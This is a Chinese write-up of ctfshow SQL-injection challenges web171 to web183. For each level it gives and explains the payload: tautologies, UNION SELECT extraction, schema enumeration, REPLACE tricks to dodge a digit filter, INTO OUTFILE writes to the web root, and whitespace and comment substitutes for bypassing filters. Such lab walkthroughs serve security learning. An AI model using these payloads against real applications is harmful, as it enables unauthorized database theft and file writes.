到这里是SQL注入的题型
web171
打开题目,给了SQL查询的源码
)
1 | $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;"; |
可以看到这里有一个id参数是可控的,然后可以套万能密码
1 | 1' or '1=1 |
首先就是闭合 前面的单引号,然后万能密码,再加上一个单引号跟后面的单引号补齐
直接能看到flag
web172
点进来是一个猫,然后左上角有栏目
首先尝试之前的姿势
果不其然,意料之中,之前的没有用了
然后再尝试无过滤注入2
1 | //拼接sql语句查找指定ID用户 |
这里有一个waf
1 | //检查结果是否有flag |
但是这里有个好处,他的查询源码告诉了我们数据表的名称是ctfshow_user2,并且确定是两列的表
所以可以直接联合查询
1 | -1' union select 1,password from ctfshow_user2 |
这里说一下 因为题目是limit 1只会返回第一条结果,所以原来的1要改成-1,使前面返回的结果为空,第二条语句再查询到username为flag的信息,就能出flag
复原一下sql查询语句是
1 | select username,password from ctfshow_user2 where username!='flag' and id="-1' union select 1,password from ctfshow_user2" |
这里的id=’-1’ 在原查询语句在原查询语句里是" -1' ",因为-1后面的单引号导致原查询的id直接失效,第二个”本来用于闭合查询, 现在语法失效,不包含在查询里,就可以不看这个”,查询的结果变成后面的union select

web173
正常走流程,先查询有几列
1 | 1' order by 4 --+ |

这里看到4的时候报错了,说明有三列,然后再查询数据库名
数据库名为ctfshow_web,然后根据库查表

1 | 1' union select 1,2,table_name from information_schema.tables where table_shema=database() --+ |
其实这里database()也可以换成查到的库名ctfshow_web,但是database()是一条动态链接,可以自动获取数据库名,可以一劳永逸
1 | 1' union select 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+ |
结果是一样的,然后再查询ctfshow_user3这个表
查了username这个字段会显示不出flag

有waf拦截,那就索性不查用户名

1 | 1' union select id,2,password from ctfshow_user3 --+ |
web174
过滤了flag字符串和数字,flag没法直接查询,就替换flag字符串里的数字
1 | 0' union select REPLACE(username,'g','j'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'g','9'),'0','h'),'1','i'),'2','j'),'3','k'),'4','l'),'5','m'),'6','n'),'7','o'),'8','p'),'9','q') from ctfshow_user4 where username='flag' %23 |

然后把flag字符串还原
1 | flag_replaced = "题目里的字符串" |
web175
这题不管输入什么都没有任何回显,可以用into outfile把查询到的数据写入文件

1 | 1' union select username, password from ctfshow_user5 into outfile '/var/www/html/1.txt' --+ |
执行完以后会说接口异常,不管,访问1.txt里面就是flag了


web176
开始过滤注入,第一题,万能密码直接绕了

web177
过滤了空格,也就是%20不能用,那可以换别的,例如%0a,%09,/**/,还有比较少见的%0c,%0d,%0e,%0f,%00都可以试试
#号也被过滤了,那就写%23,万能密码直接注

1 | 1'%0aor1=1%0a%23 |
web178
稍微换一个payload也能成
1 | 1'%09or1=1%23 |
但是万能密码属于有点投机取巧,还是走一遍流程
数据表名题目已经给了,就叫ctfshow_user,所以直接传payload
1 | 1'%09union%09select%091,username,password%09from%09ctfshow_user%23 |

web179
万能密码可以秒
1 | 1'or'1'='1'%23 |

然后正常做%0a,%09,%00都不行,/**/也被ban了,那就用%0c

payload为
1 | 1'union%0cselect%0c1,username,password%0cfrom%0cctfshow_user%23 |
web180
这题过滤了%23,也就是#不能用于结尾,这里本来想换另一个--+,但是+好像也被过滤了用不了,所以结尾也改成了%0c,同等效应
1 | 1'union%0cselect%0c1,username,password%0cfrom%0cctfshow_user--%0c |

web181
这题给了waf,直接看
1 | //对传入的参数进行了过滤 |
根据之前的题目能知道,username为flag,那就直接构造username=flag就能出

1 | -1'||username='flag |
web182
1 | //对传入的参数进行了过滤 |
不能直接构造flag,那就换个
用
1 | id=-1' or (id=26) AND '1 |
or的运算规则是有一方为真既为真,而AND的优先级是高于or的,所以先把前面查询的id闭合,然后根据优先级先执行AND,AND左边为真,id=26的数据存在,右边1为恒真,所以or的右侧为真,左侧闭合,最终查询结果是查询右侧的id=26的结果

这样就饶过了用户名不能为flag的限制,或者用concat函数拼接,也可以达到同样的效果
1 | -1'or(username=concat('fl','ag'))and'1 |
拼接flag字符
web183
直接套脚本出flag
1 | import requests |

调试了半天,要注意data里面的payload很有可能导致错误
web184
未完待续